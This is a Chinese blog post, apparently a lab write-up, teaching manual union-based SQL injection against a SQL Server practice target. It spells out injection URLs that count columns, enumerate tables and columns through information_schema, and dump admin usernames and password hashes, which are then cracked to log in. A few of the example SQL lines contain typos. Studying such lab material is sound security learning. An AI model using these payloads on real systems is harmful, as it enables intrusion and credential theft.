sqlserver手工注入

这次的记录是手工记录哈,玩不过瘾的还可以去看看我的另一篇博客是用sqlmap注入的,sqlmap注入特省事hhhhh

同样的,既然是手工注入,咱们就得先学一学SQL server数据库的结构。我看了好多博客,都是记录注入过程,或者注入语句如何构造的原因也没有讲的很详细。

于是我打开我本地的ssms(sqlserver图形化管理界面),图文并茂讲讲原因。

以db_buxian数据库为例,这个数据库下面我创建了四张数据表,假设我web页面显示的数据是从COURSE表查询的,而我要找的数据在users表里面。那么我们首先要知道的就是表名。因为查询语句是select * from 表名。靶场不像本地管理能随便看看表名表数据。那么我们要找到这个数据库里面记录了所有数据表信息的表,就是爆表名啦~~

 

 

 

那么那个记录所有表信息的表在哪里呢,在视图里,可以看看下面这个图片理解一下下:

视图里框出来的informa_schema.tables,我们右键查看前1000条数据,就是右边的结果,刚好有四个表就是我们创建的四个数据表。

那么同样的,我们在url中只要构建类似 select top n from 库名.infromation.schema.tables是不是就能爆出表名啦!

 

 

这个时候,爱思考的同学肯定想到了,既然知道了数据表,能不能查到列名呢,有时候我只想查数据表中某几列,有没有一个表记录了所有的列名呢?

答案当然是有的啦!!!

就是也在视图中,就是information_schema.columns,同样的右键查询前1000条语句,查到的所有的表里面的列名。

 

如果我们要查一个表里面所有的列名,那要构造的语句是什么样的呢?

select column_name from db_buxian_information.schema.solumns where table_name = 'users'; 

我们来查一查看看结果:

既然已经知道了如何查表名和列名,那么我们要查某个表里面的数据那岂不是顺水推舟。

现在我们来靶场实战一下下,还是墨者学院sqlserver手工注入靶场,至于注入的流程就不详细解释了,想看详细解释可以看看我的sqlite手工注入的博客。

首先判断有多少列,一般都是用order by来判断。

构造的url为:http://219.153.49.228:46297/new_list.asp?id=2 order by n n依次取1,2,3,4...这个靶场第三列好像都会报错了,但是实际上有4列,所以在以后的注入中要注意这个问题,多试几列。

页面正常显示的话就说明有这一列hhhhh

然后我们用联合注入来判断一下回显。

构造语句为:

1
http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2','3','4'<br>阿?你是不是疑惑为撒是all select,这个我也不知道但是select会报错,我还没解决这个问题呢。还有判断回显为啥是字符串‘1’,因为数字会报错。<br>看看回显的结果:

 

 然后我们来查一下当前数据库的名字,因为后面查表名的时候会用到数据库的名字。

构造的语句为:http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',db_name(),'4'

 

 数据库名是mozhe_db_v2

然后我们查一查数据库里面的表名。

先构造语句,http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',(select top 1 table_name from mozhe_db_v2.information_schema.tables),'4'

 

 看看看是不是出现了manage表,如果我们选第二条数据呢?

我觉得sqlserver查询第几条语句有点不太一样,方法很多,我自己查阅资料用的是 not in关键字,把已经查出的表名加入到not in 的范围内:

http://219.153.49.228:46297/new_list.asp?id=-2 union all select '1','2',(select top 1 table_name from mozhe_db_v2.information_schema.tables where table_name not in('manage')),'4'

查出来的第二个表名是announcement,查第三第四以此类推。

 

 现在我们来查一下manage表的列名。

构造语句:

http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage'),'4'

 

 查一查第二列,我们用的构造语句还是排除已经查出的column_name.

http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage' and column_name not in('id')),'4'

第二个列名是username.

 

 查第三列的语句不难推断,为:

http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1','2',(select top 1 column_name from mozhe_db_v2.information_schema.columns where table_name='manage' and column_name not in('id','username')),'4'

 

 现在我们终于可以查数据了!!!不得不说selserver的语句构造好难,可能是我学的还是太少了。

构造语句查询manage表内的第一条数据为:

http://219.153.49.228:48061/new_list.asp?id=-2 union all select '1',(select top 1 username from manage),(select top 1 password from manage),'4'

前面构造的语句都是只用了一个回显显示,这次语句较短咱们用两个,一次性查出账号密码。

 

 密码在线md5解密一下.

这不就登录成功了吗~~

 

这次的手工注入sqlserver靶场就学习到这里啦!

看到网上其他厉害的小伙伴有用盲注来解这个靶场的,等我学会了我也写一个博客记录并分享学习经验~~

posted @   一点也不咸  阅读(412)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示